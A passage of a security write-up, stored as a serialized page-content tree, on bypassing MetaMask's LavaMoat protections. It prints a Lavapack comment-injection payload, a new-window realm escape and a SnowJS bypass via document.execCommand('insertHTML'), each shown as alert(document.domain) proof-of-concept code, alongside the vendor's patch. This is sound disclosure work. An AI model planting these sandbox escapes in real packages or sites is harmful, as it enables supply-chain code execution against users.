29,"value":37394},{"type":23,"tag":504,"props":51209,"children":51210},{"class":5016,"line":5336},[51211],{"type":23,"tag":504,"props":51212,"children":51213},{"emptyLinePlaceholder":15},[51214],{"type":29,"value":5734},{"type":23,"tag":504,"props":51216,"children":51217},{"class":5016,"line":5349},[51218,51222,51226,51230,51234,51238,51242,51246],{"type":23,"tag":504,"props":51219,"children":51220},{"style":5467},[51221],{"type":29,"value":39942},{"type":23,"tag":504,"props":51223,"children":51224},{"style":5058},[51225],{"type":29,"value":357},{"type":23,"tag":504,"props":51227,"children":51228},{"style":5139},[51229],{"type":29,"value":50833},{"type":23,"tag":504,"props":51231,"children":51232},{"style":5047},[51233],{"type":29,"value":5050},{"type":23,"tag":504,"props":51235,"children":51236},{"style":5030},[51237],{"type":29,"value":40270},{"type":23,"tag":504,"props":51239,"children":51240},{"style":5058},[51241],{"type":29,"value":5110},{"type":23,"tag":504,"props":51243,"children":51244},{"style":5041},[51245],{"type":29,"value":34725},{"type":23,"tag":504,"props":51247,"children":51248},{"style":5058},[51249],{"type":29,"value":16850},{"type":23,"tag":504,"props":51251,"children":51252},{"class":5016,"line":5367},[51253,51257,51261,51265,51270,51274,51278,51282,51287,51291,51296],{"type":23,"tag":504,"props":51254,"children":51255},{"style":5067},[51256],{"type":29,"value":41255},{"type":23,"tag":504,"props":51258,"children":51259},{"style":5041},[51260],{"type":29,"value":50424},{"type":23,"tag":504,"props":51262,"children":51263},{"style":5058},[51264],{"type":29,"value":357},{"type":23,"tag":504,"props":51266,"children":51267},{"style":5139},[51268],{"type":29,"value":51269},"replace",{"type":23,"tag":504,"props":51271,"children":51272},{"style":5058},[51273],{"type":29,"value":603},{"type":23,"tag":504,"props":51275,"children":51276},{"style":5467},[51277],{"type":29,"value":39942},{"type":23,"tag":504,"props":51279,"children":51280},{"style":5058},[51281],{"type":29,"value":357},{"type":23,"tag":504,"props":51283,"children":51284},{"style":5041},[51285],{"type":29,"value":51286},"commentRegex",{"type":23,"tag":504,"props":51288,"children":51289},{"style":5058},[51290],{"type":29,"value":4367},{"type":23,"tag":504,"props":51292,"children":51293},{"style":6297},[51294],{"type":29,"value":51295},"''",{"type":23,"tag":504,"props":51297,"children":51298},{"style":5058},[51299],{"type":29,"value":5888},{"type":23,"tag":504,"props":51301,"children":51302},{"class":5016,"line":5388},[51303],{"type":23,"tag":504,"props":51304,"children":51305},{"style":5058},[51306],{"type":29,"value":18625},{"type":23,"tag":32,"props":51308,"children":51309},{},[51310,51312,51318],{"type":29,"value":51311},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":154,"props":51313,"children":51315},{"className":51314},[],[51316],{"type":29,"value":51317},"/*",{"type":29,"value":51319},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":320,"props":51321,"children":51323},{"id":51322},"the-bypass",[51324],{"type":29,"value":51325},"The Bypass",{"type":23,"tag":32,"props":51327,"children":51328},{},[51329,51331,51336,51338,51343],{"type":29,"value":51330},"By abusing the ",{"type":23,"tag":154,"props":51332,"children":51334},{"className":51333},[],[51335],{"type":29,"value":50833},{"type":29,"value":51337}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":154,"props":51339,"children":51341},{"className":51340},[],[51342],{"type":29,"value":50177},{"type":29,"value":51344}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":4743,"props":51346,"children":51348},{"className":33418,"code":51347,"language":33420,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[51349],{"type":23,"tag":154,"props":51350,"children":51351},{"__ignoreMap":7},[51352,51360,51367,51375,51383,51391,51399,51407,51415,51422,51430],{"type":23,"tag":504,"props":51353,"children":51354},{"class":5016,"line":5017},[51355],{"type":23,"tag":504,"props":51356,"children":51357},{"style":5021},[51358],{"type":29,"value":51359},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":504,"props":51361,"children":51362},{"class":5016,"line":4868},[51363],{"type":23,"tag":504,"props":51364,"children":51365},{"emptyLinePlaceholder":15},[51366],{"type":29,"value":5734},{"type":23,"tag":504,"props":51368,"children":51369},{"class":5016,"line":4876},[51370],{"type":23,"tag":504,"props":51371,"children":51372},{"style":5021},[51373],{"type":29,"value":51374},"}}}}\n",{"type":23,"tag":504,"props":51376,"children":51377},{"class":5016,"line":5099},[51378],{"type":23,"tag":504,"props":51379,"children":51380},{"style":5021},[51381],{"type":29,"value":51382},"}, {\n",{"type":23,"tag":504,"props":51384,"children":51385},{"class":5016,"line":5203},[51386],{"type":23,"tag":504,"props":51387,"children":51388},{"style":5021},[51389],{"type":29,"value":51390},"    package: \"xpl\",\n",{"type":23,"tag":504,"props":51392,"children":51393},{"class":5016,"line":5308},[51394],{"type":23,"tag":504,"props":51395,"children":51396},{"style":5021},[51397],{"type":29,"value":51398},"    file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":504,"props":51400,"children":51401},{"class":5016,"line":5336},[51402],{"type":23,"tag":504,"props":51403,"children":51404},{"style":5021},[51405],{"type":29,"value":51406},"    test: alert(document.domain),\n",{"type":23,"tag":504,"props":51408,"children":51409},{"class":5016,"line":5349},[51410],{"type":23,"tag":504,"props":51411,"children":51412},{"style":5021},[51413],{"type":29,"value":51414},"    test1: () => { () => { () => { () => {\n",{"type":23,"tag":504,"props":51416,"children":51417},{"class":5016,"line":5367},[51418],{"type":23,"tag":504,"props":51419,"children":51420},{"emptyLinePlaceholder":15},[51421],{"type":29,"value":5734},{"type":23,"tag":504,"props":51423,"children":51424},{"class":5016,"line":5388},[51425],{"type":23,"tag":504,"props":51426,"children":51427},{"style":5021},[51428],{"type":29,"value":51429},"/*\n",{"type":23,"tag":504,"props":51431,"children":51432},{"class":5016,"line":5397},[51433],{"type":23,"tag":504,"props":51434,"children":51435},{"style":5021},[51436],{"type":29,"value":51437},"*/\n",{"type":23,"tag":32,"props":51439,"children":51440},{},[51441],{"type":29,"value":51442},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":320,"props":51444,"children":51446},{"id":51445},"lavapack-patch",[51447],{"type":29,"value":51448},"Lavapack Patch",{"type":23,"tag":32,"props":51450,"children":51451},{},[51452,51454,51460],{"type":29,"value":51453},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":154,"props":51455,"children":51457},{"className":51456},[],[51458],{"type":29,"value":51459},"assertValidJS",{"type":29,"value":51461},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":32,"props":51463,"children":51464},{},[51465,51467,51474],{"type":29,"value":51466},"The patch was introduced in commit ",{"type":23,"tag":68,"props":51468,"children":51471},{"href":51469,"rel":51470},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[72],[51472],{"type":29,"value":51473},"9c38cd4",{"type":29,"value":357},{"type":23,"tag":4743,"props":51476,"children":51478},{"className":42417,"code":51477,"language":42419,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[51479],{"type":23,"tag":154,"props":51480,"children":51481},{"__ignoreMap":7},[51482,51490,51498,51506,51514,51522,51530,51538,51545,51553],{"type":23,"tag":504,"props":51483,"children":51484},{"class":5016,"line":5017},[51485],{"type":23,"tag":504,"props":51486,"children":51487},{"style":5083},[51488],{"type":29,"value":51489},"+ function assertValidJS(code) {\n",{"type":23,"tag":504,"props":51491,"children":51492},{"class":5016,"line":4868},[51493],{"type":23,"tag":504,"props":51494,"children":51495},{"style":5083},[51496],{"type":29,"value":51497},"+  try {\n",{"type":23,"tag":504,"props":51499,"children":51500},{"class":5016,"line":4876},[51501],{"type":23,"tag":504,"props":51502,"children":51503},{"style":5083},[51504],{"type":29,"value":51505},"+    new Function(code)\n",{"type":23,"tag":504,"props":51507,"children":51508},{"class":5016,"line":5099},[51509],{"type":23,"tag":504,"props":51510,"children":51511},{"style":5083},[51512],{"type":29,"value":51513},"+  } catch (err) {\n",{"type":23,"tag":504,"props":51515,"children":51516},{"class":5016,"line":5203},[51517],{"type":23,"tag":504,"props":51518,"children":51519},{"style":5083},[51520],{"type":29,"value":51521},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":504,"props":51523,"children":51524},{"class":5016,"line":5308},[51525],{"type":23,"tag":504,"props":51526,"children":51527},{"style":5083},[51528],{"type":29,"value":51529},"+  }\n",{"type":23,"tag":504,"props":51531,"children":51532},{"class":5016,"line":5336},[51533],{"type":23,"tag":504,"props":51534,"children":51535},{"style":5083},[51536],{"type":29,"value":51537},"+ }\n",{"type":23,"tag":504,"props":51539,"children":51540},{"class":5016,"line":5349},[51541],{"type":23,"tag":504,"props":51542,"children":51543},{"emptyLinePlaceholder":15},[51544],{"type":29,"value":5734},{"type":23,"tag":504,"props":51546,"children":51547},{"class":5016,"line":5367},[51548],{"type":23,"tag":504,"props":51549,"children":51550},{"style":5083},[51551],{"type":29,"value":51552},"+  // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":504,"props":51554,"children":51555},{"class":5016,"line":5388},[51556],{"type":23,"tag":504,"props":51557,"children":51558},{"style":5083},[51559],{"type":29,"value":51560},"+  assertValidJS(sourceMeta.code)\n",{"type":23,"tag":24,"props":51562,"children":51564},{"id":51563},"hacking-js-realms",[51565],{"type":29,"value":51566},"Hacking JS Realms",{"type":23,"tag":32,"props":51568,"children":51569},{},[51570,51572,51577],{"type":29,"value":51571},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":154,"props":51573,"children":51575},{"className":51574},[],[51576],{"type":29,"value":39474},{"type":29,"value":51578}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":4743,"props":51580,"children":51582},{"className":33418,"code":51581,"language":33420,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[51583],{"type":23,"tag":154,"props":51584,"children":51585},{"__ignoreMap":7},[51586,51628],{"type":23,"tag":504,"props":51587,"children":51588},{"class":5016,"line":5017},[51589,51593,51598,51602,51606,51610,51615,51619,51624],{"type":23,"tag":504,"props":51590,"children":51591},{"style":5030},[51592],{"type":29,"value":11701},{"type":23,"tag":504,"props":51594,"children":51595},{"style":5041},[51596],{"type":29,"value":51597}," w",{"type":23,"tag":504,"props":51599,"children":51600},{"style":5047},[51601],{"type":29,"value":5050},{"type":23,"tag":504,"props":51603,"children":51604},{"style":5041},[51605],{"type":29,"value":33463},{"type":23,"tag":504,"props":51607,"children":51608},{"style":5058},[51609],{"type":29,"value":357},{"type":23,"tag":504,"props":51611,"children":51612},{"style":5139},[51613],{"type":29,"value":51614},"open",{"type":23,"tag":504,"props":51616,"children":51617},{"style":5058},[51618],{"type":29,"value":603},{"type":23,"tag":504,"props":51620,"children":51621},{"style":6297},[51622],{"type":29,"value":51623},"'/non_existent'",{"type":23,"tag":504,"props":51625,"children":51626},{"style":5058},[51627],{"type":29,"value":5888},{"type":23,"tag":504,"props":51629,"children":51630},{"class":5016,"line":4868},[51631,51636,51640,51644,51648,51652,51656,51660],{"type":23,"tag":504,"props":51632,"children":51633},{"style":5041},[51634],{"type":29,"value":51635},"w",{"type":23,"tag":504,"props":51637,"children":51638},{"style":5058},[51639],{"type":29,"value":357},{"type":23,"tag":504,"props":51641,"children":51642},{"style":5139},[51643],{"type":29,"value":34753},{"type":23,"tag":504,"props":51645,"children":51646},{"style":5058},[51647],{"type":29,"value":603},{"type":23,"tag":504,"props":51649,"children":51650},{"style":5041},[51651],{"type":29,"value":34763},{"type":23,"tag":504,"props":51653,"children":51654},{"style":5058},[51655],{"type":29,"value":357},{"type":23,"tag":504,"props":51657,"children":51658},{"style":5041},[51659],{"type":29,"value":34773},{"type":23,"tag":504,"props":51661,"children":51662},{"style":5058},[51663],{"type":29,"value":5200},{"type":23,"tag":32,"props":51665,"children":51666},{},[51667,51669,51674],{"type":29,"value":51668},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":154,"props":51670,"children":51672},{"className":51671},[],[51673],{"type":29,"value":39474},{"type":29,"value":51675}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":32,"props":51677,"children":51678},{},[51679,51681,51688],{"type":29,"value":51680},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":68,"props":51682,"children":51685},{"href":51683,"rel":51684},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[72],[51686],{"type":29,"value":51687},"Metamask implementation",{"type":29,"value":933},{"type":23,"tag":320,"props":51690,"children":51692},{"id":51691},"snowjs-attack-surface",[51693],{"type":29,"value":51694},"SnowJS Attack Surface",{"type":23,"tag":32,"props":51696,"children":51697},{},[51698],{"type":29,"value":51699},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":32,"props":51701,"children":51702},{},[51703,51705,51712],{"type":29,"value":51704},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":68,"props":51706,"children":51709},{"href":51707,"rel":51708},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[72],[51710],{"type":29,"value":51711},"hooked inserters",{"type":29,"value":51713}," functions:",{"type":23,"tag":4743,"props":51715,"children":51717},{"className":33418,"code":51716,"language":33420,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[51718],{"type":23,"tag":154,"props":51719,"children":51720},{"__ignoreMap":7},[51721,51741,51762,51801,51855,51894,51993,52013,52034],{"type":23,"tag":504,"props":51722,"children":51723},{"class":5016,"line":5017},[51724,51728,51733,51737],{"type":23,"tag":504,"props":51725,"children":51726},{"style":5030},[51727],{"type":29,"value":11701},{"type":23,"tag":504,"props":51729,"children":51730},{"style":5041},[51731],{"type":29,"value":51732}," map",{"type":23,"tag":504,"props":51734,"children":51735},{"style":5047},[51736],{"type":29,"value":5050},{"type":23,"tag":504,"props":51738,"children":51739},{"style":5058},[51740],{"type":29,"value":5333},{"type":23,"tag":504,"props":51742,"children":51743},{"class":5016,"line":4868},[51744,51749,51753,51758],{"type":23,"tag":504,"props":51745,"children":51746},{"style":5041},[51747],{"type":29,"value":51748},"    Range:",{"type":23,"tag":504,"props":51750,"children":51751},{"style":5058},[51752],{"type":29,"value":25073},{"type":23,"tag":504,"props":51754,"children":51755},{"style":6297},[51756],{"type":29,"value":51757},"'insertNode'",{"type":23,"tag":504,"props":51759,"children":51760},{"style":5058},[51761],{"type":29,"value":16309},{"type":23,"tag":504,"props":51763,"children":51764},{"class":5016,"line":4876},[51765,51770,51774,51779,51783,51788,51792,51797],{"type":23,"tag":504,"props":51766,"children":51767},{"style":5041},[51768],{"type":29,"value":51769},"    DocumentFragment:",{"type":23,"tag":504,"props":51771,"children":51772},{"style":5058},[51773],{"type":29,"value":25073},{"type":23,"tag":504,"props":51775,"children":51776},{"style":6297},[51777],{"type":29,"value":51778},"'replaceChildren'",{"type":23,"tag":504,"props":51780,"children":51781},{"style":5058},[51782],{"type":29,"value":4367},{"type":23,"tag":504,"props":51784,"children":51785},{"style":6297},[51786],{"type":29,"value":51787},"'append'",{"type":23,"tag":504,"props":51789,"children":51790},{"style":5058},[51791],{"type":29,"value":4367},{"type":23,"tag":504,"props":51793,"children":51794},{"style":6297},[51795],{"type":29,"value":51796},"'prepend'",{"type":23,"tag":504,"props":51798,"children":51799},{"style":5058},[51800],{"type":29,"value":16309},{"type":23,"tag":504,"props":51802,"children":51803},{"class":5016,"line":5099},[51804,51809,51813,51817,51821,51825,51829,51833,51837,51842,51846,51851],{"type":23,"tag":504,"props":51805,"children":51806},{"style":5041},[51807],{"type":29,"value":51808},"    Document:",{"type":23,"tag":504,"props":51810,"children":51811},{"style":5058},[51812],{"type":29,"value":25073},{"type":23,"tag":504,"props":51814,"children":51815},{"style":6297},[51816],{"type":29,"value":51778},{"type":23,"tag":504,"props":51818,"children":51819},{"style":5058},[51820],{"type":29,"value":4367},{"type":23,"tag":504,"props":51822,"children":51823},{"style":6297},[51824],{"type":29,"value":51787},{"type":23,"tag":504,"props":51826,"children":51827},{"style":5058},[51828],{"type":29,"value":4367},{"type":23,"tag":504,"props":51830,"children":51831},{"style":6297},[51832],{"type":29,"value":51796},{"type":23,"tag":504,"props":51834,"children":51835},{"style":5058},[51836],{"type":29,"value":4367},{"type":23,"tag":504,"props":51838,"children":51839},{"style":6297},[51840],{"type":29,"value":51841},"'write'",{"type":23,"tag":504,"props":51843,"children":51844},{"style":5058},[51845],{"type":29,"value":4367},{"type":23,"tag":504,"props":51847,"children":51848},{"style":6297},[51849],{"type":29,"value":51850},"'writeln'",{"type":23,"tag":504,"props":51852,"children":51853},{"style":5058},[51854],{"type":29,"value":16309},{"type":23,"tag":504,"props":51856,"children":51857},{"class":5016,"line":5203},[51858,51863,51867,51872,51876,51881,51885,51890],{"type":23,"tag":504,"props":51859,"children":51860},{"style":5041},[51861],{"type":29,"value":51862},"    Node:",{"type":23,"tag":504,"props":51864,"children":51865},{"style":5058},[51866],{"type":29,"value":25073},{"type":23,"tag":504,"props":51868,"children":51869},{"style":6297},[51870],{"type":29,"value":51871},"'appendChild'",{"type":23,"tag":504,"props":51873,"children":51874},{"style":5058},[51875],{"type":29,"value":4367},{"type":23,"tag":504,"props":51877,"children":51878},{"style":6297},[51879],{"type":29,"value":51880},"'insertBefore'",{"type":23,"tag":504,"props":51882,"children":51883},{"style":5058},[51884],{"type":29,"value":4367},{"type":23,"tag":504,"props":51886,"children":51887},{"style":6297},[51888],{"type":29,"value":51889},"'replaceChild'",{"type":23,"tag":504,"props":51891,"children":51892},{"style":5058},[51893],{"type":29,"value":16309},{"type":23,"tag":504,"props":51895,"children":51896},{"class":5016,"line":5308},[51897,51902,51906,51911,51915,51920,51924,51929,51933,51938,51942,51947,51951,51955,51959,51964,51968,51972,51976,51981,51985,51989],{"type":23,"tag":504,"props":51898,"children":51899},{"style":5041},[51900],{"type":29,"value":51901},"    Element:",{"type":23,"tag":504,"props":51903,"children":51904},{"style":5058},[51905],{"type":29,"value":25073},{"type":23,"tag":504,"props":51907,"children":51908},{"style":6297},[51909],{"type":29,"value":51910},"'innerHTML'",{"type":23,"tag":504,"props":51912,"children":51913},{"style":5058},[51914],{"type":29,"value":4367},{"type":23,"tag":504,"props":51916,"children":51917},{"style":6297},[51918],{"type":29,"value":51919},"'outerHTML'",{"type":23,"tag":504,"props":51921,"children":51922},{"style":5058},[51923],{"type":29,"value":4367},{"type":23,"tag":504,"props":51925,"children":51926},{"style":6297},[51927],{"type":29,"value":51928},"'insertAdjacentHTML'",{"type":23,"tag":504,"props":51930,"children":51931},{"style":5058},[51932],{"type":29,"value":4367},{"type":23,"tag":504,"props":51934,"children":51935},{"style":6297},[51936],{"type":29,"value":51937},"'replaceWith'",{"type":23,"tag":504,"props":51939,"children":51940},{"style":5058},[51941],{"type":29,"value":4367},{"type":23,"tag":504,"props":51943,"children":51944},{"style":6297},[51945],{"type":29,"value":51946},"'insertAdjacentElement'",{"type":23,"tag":504,"props":51948,"children":51949},{"style":5058},[51950],{"type":29,"value":4367},{"type":23,"tag":504,"props":51952,"children":51953},{"style":6297},[51954],{"type":29,"value":51787},{"type":23,"tag":504,"props":51956,"children":51957},{"style":5058},[51958],{"type":29,"value":4367},{"type":23,"tag":504,"props":51960,"children":51961},{"style":6297},[51962],{"type":29,"value":51963},"'before'",{"type":23,"tag":504,"props":51965,"children":51966},{"style":5058},[51967],{"type":29,"value":4367},{"type":23,"tag":504,"props":51969,"children":51970},{"style":6297},[51971],{"type":29,"value":51796},{"type":23,"tag":504,"props":51973,"children":51974},{"style":5058},[51975],{"type":29,"value":4367},{"type":23,"tag":504,"props":51977,"children":51978},{"style":6297},[51979],{"type":29,"value":51980},"'after'",{"type":23,"tag":504,"props":51982,"children":51983},{"style":5058},[51984],{"type":29,"value":4367},{"type":23,"tag":504,"props":51986,"children":51987},{"style":6297},[51988],{"type":29,"value":51778},{"type":23,"tag":504,"props":51990,"children":51991},{"style":5058},[51992],{"type":29,"value":16309},{"type":23,"tag":504,"props":51994,"children":51995},{"class":5016,"line":5336},[51996,52001,52005,52009],{"type":23,"tag":504,"props":51997,"children":51998},{"style":5041},[51999],{"type":29,"value":52000},"    ShadowRoot:",{"type":23,"tag":504,"props":52002,"children":52003},{"style":5058},[52004],{"type":29,"value":25073},{"type":23,"tag":504,"props":52006,"children":52007},{"style":6297},[52008],{"type":29,"value":51910},{"type":23,"tag":504,"props":52010,"children":52011},{"style":5058},[52012],{"type":29,"value":16309},{"type":23,"tag":504,"props":52014,"children":52015},{"class":5016,"line":5349},[52016,52021,52025,52030],{"type":23,"tag":504,"props":52017,"children":52018},{"style":5041},[52019],{"type":29,"value":52020},"    HTMLIFrameElement:",{"type":23,"tag":504,"props":52022,"children":52023},{"style":5058},[52024],{"type":29,"value":25073},{"type":23,"tag":504,"props":52026,"children":52027},{"style":6297},[52028],{"type":29,"value":52029},"'srcdoc'",{"type":23,"tag":504,"props":52031,"children":52032},{"style":5058},[52033],{"type":29,"value":16309},{"type":23,"tag":504,"props":52035,"children":52036},{"class":5016,"line":5367},[52037],{"type":23,"tag":504,"props":52038,"children":52039},{"style":5058},[52040],{"type":29,"value":18625},{"type":23,"tag":32,"props":52042,"children":52043},{},[52044],{"type":29,"value":52045},"This means that an attacker can't use any of these functions to create an iframe and bypass the snowJS sandbox, because it will detect the new frame and include it in the sandbox.",{"type":23,"tag":32,"props":52047,"children":52048},{},[52049],{"type":29,"value":52050},"Unfortunately, client-side javascript is surprisingly complex with lots of strange behaviours that could be used to bypass the hook security feature.",{"type":23,"tag":320,"props":52052,"children":52054},{"id":52053},"bypassing-snowjs",[52055],{"type":29,"value":52056},"Bypassing SnowJS",{"type":23,"tag":32,"props":52058,"children":52059},{},[52060,52062,52073,52075,52081],{"type":29,"value":52061},"The deprecated ",{"type":23,"tag":68,"props":52063,"children":52066},{"href":52064,"rel":52065},"https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand",[72],[52067],{"type":23,"tag":154,"props":52068,"children":52070},{"className":52069},[],[52071],{"type":29,"value":52072},"document.execCommand",{"type":29,"value":52074}," function is used to execute commands inside a ",{"type":23,"tag":154,"props":52076,"children":52078},{"className":52077},[],[52079],{"type":29,"value":52080},"contenteditable",{"type":29,"value":52082}," focused context. Despite this being a deprecated function, it is still supported by modern browsers.",{"type":23,"tag":4743,"props":52084,"children":52087},{"className":52085,"code":52086,"language":34438,"meta":7,"style":7},"language-html shiki shiki-themes slack-dark","\u003Cdiv id=test contenteditable autofocus>\u003C/div>\n",[52088],{"type":23,"tag":154,"props":52089,"children":52090},{"__ignoreMap":7},[52091],{"type":23,"tag":504,"props":52092,"children":52093},{"class":5016,"line":5017},[52094,52098,52102,52106,52110,52115,52120,52125,52130,52134],{"type":23,"tag":504,"props":52095,"children":52096},{"style":34431},[52097],{"type":29,"value":2658},{"type":23,"tag":504,"props":52099,"children":52100},{"style":5030},[52101],{"type":29,"value":33401},{"type":23,"tag":504,"props":52103,"children":52104},{"style":5041},[52105],{"type":29,"value":34511},{"type":23,"tag":504,"props":52107,"children":52108},{"style":5058},[52109],{"type":29,"value":546},{"type":23,"tag":504,"props":52111,"children":52112},{"style":6297},[52113],{"type":29,"value":52114},"test",{"type":23,"tag":504,"props":52116,"children":52117},{"style":5041},[52118],{"type":29,"value":52119}," contenteditable",{"type":23,"tag":504,"props":52121,"children":52122},{"style":5041},[52123],{"type":29,"value":52124}," autofocus",{"type":23,"tag":504,"props":52126,"children":52127},{"style":34431},[52128],{"type":29,"value":52129},">\u003C/",{"type":23,"tag":504,"props":52131,"children":52132},{"style":5030},[52133],{"type":29,"value":33401},{"type":23,"tag":504,"props":52135,"children":52136},{"style":34431},[52137],{"type":29,"value":8038},{"type":23,"tag":32,"props":52139,"children":52140},{},[52141,52143,52149,52151,52156],{"type":29,"value":52142},"After inserting this element to a page, it is possible to use ",{"type":23,"tag":154,"props":52144,"children":52146},{"className":52145},[],[52147],{"type":29,"value":52148},"insertHTML",{"type":29,"value":52150}," command of ",{"type":23,"tag":154,"props":52152,"children":52154},{"className":52153},[],[52155],{"type":29,"value":52072},{"type":29,"value":52157}," to add a non-sandboxed iframe.",{"type":23,"tag":4743,"props":52159,"children":52161},{"className":33418,"code":52160,"language":33420,"meta":7,"style":7},"document.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\n",[52162],{"type":23,"tag":154,"props":52163,"children":52164},{"__ignoreMap":7},[52165],{"type":23,"tag":504,"props":52166,"children":52167},{"class":5016,"line":5017},[52168,52172,52176,52181,52185,52190,52194,52198,52202,52207],{"type":23,"tag":504,"props":52169,"children":52170},{"style":5041},[52171],{"type":29,"value":34763},{"type":23,"tag":504,"props":52173,"children":52174},{"style":5058},[52175],{"type":29,"value":357},{"type":23,"tag":504,"props":52177,"children":52178},{"style":5139},[52179],{"type":29,"value":52180},"execCommand",{"type":23,"tag":504,"props":52182,"children":52183},{"style":5058},[52184],{"type":29,"value":603},{"type":23,"tag":504,"props":52186,"children":52187},{"style":6297},[52188],{"type":29,"value":52189},"'insertHTML'",{"type":23,"tag":504,"props":52191,"children":52192},{"style":5058},[52193],{"type":29,"value":4367},{"type":23,"tag":504,"props":52195,"children":52196},{"style":5030},[52197],{"type":29,"value":10220},{"type":23,"tag":504,"props":52199,"children":52200},{"style":5058},[52201],{"type":29,"value":4367},{"type":23,"tag":504,"props":52203,"children":52204},{"style":6297},[52205],{"type":29,"value":52206},"'\u003Ciframe srcdoc=\"aaa\">'",{"type":23,"tag":504,"props":52208,"children":52209},{"style":5058},[52210],{"type":29,"value":5888},{"type":23,"tag":320,"props":52212,"children":52214},{"id":52213},"impact-on-lavamoat-scuttling",[52215],{"type":29,"value":52216},"Impact On Lavamoat Scuttling",{"type":23,"tag":32,"props":52218,"children":52219},{},[52220],{"type":29,"value":52221},"As it is recommended to use snowJS integrated with Lavamoat scuttling to prevent bypasses, it is possible to completely bypass the scuttling feature without pre-conditions.",{"type":23,"tag":32,"props":52223,"children":52224},{},[52225,52227,52232,52234,52239],{"type":29,"value":52226},"For the exploit, the only used functions are in ",{"type":23,"tag":154,"props":52228,"children":52230},{"className":52229},[],[52231],{"type":29,"value":34763},{"type":29,"value":52233}," object, which can never be scuttled once it is a non-writable and non-configurable property in ",{"type":23,"tag":154,"props":52235,"children":52237},{"className":52236},[],[52238],{"type":29,"value":39474},{"type":29,"value":52240}," object.",{"type":23,"tag":32,"props":52242,"children":52243},{},[52244,52246,52251],{"type":29,"value":52245},"Consider this example, which runs a scuttled ",{"type":23,"tag":154,"props":52247,"children":52249},{"className":52248},[],[52250],{"type":29,"value":34753},{"type":29,"value":27521},{"type":23,"tag":4743,"props":52253,"children":52255},{"className":33418,"code":52254,"language":33420,"meta":7,"style":7},"document.body.innerHTML = \"\u003Cdiv id=test contenteditable autofocus>\u003C/div>\";\ndocument.getElementById('test').focus();\ndocument.execCommand('insertHTML', false, '\u003Ciframe srcdoc=\"aaa\">');\ndocument.getElementsByTagName('iframe')[0].contentWindow.alert(document.domain);\n",[52256],{"type":23,"tag":154,"props":52257,"children":52258},{"__ignoreMap":7},[52259,52295,52332,52375],{"type":23,"tag":504,"props":52260,"children":52261},{"class":5016,"line":5017},[52262,52266,52270,52274,52278,52282,52286,52291],{"type":23,"tag":504,"props":52263,"children":52264},{"style":5041},[52265],{"type":29,"value":34763},{"type":23,"tag":504,"props":52267,"children":52268},{"style":5058},[52269],{"type":29,"value":357},{"type":23,"tag":504,"props":52271,"children":52272},{"style":5041},[52273],{"type":29,"value":34455},{"type":23,"tag":504,"props":52275,"children":52276},{"style":5058},[52277],{"type":29,"value":357},{"type":23,"tag":504,"props":52279,"children":52280},{"style":5041},[52281],{"type":29,"value":37028},{"type":23,"tag":504,"props":52283,"children":52284},{"style":5047},[52285],{"type":29,"value":5050},{"type":23,"tag":504,"props":52287,"children":52288},{"style":6297},[52289],{"type":29,"value":52290}," \"\u003Cdiv id=test contenteditable 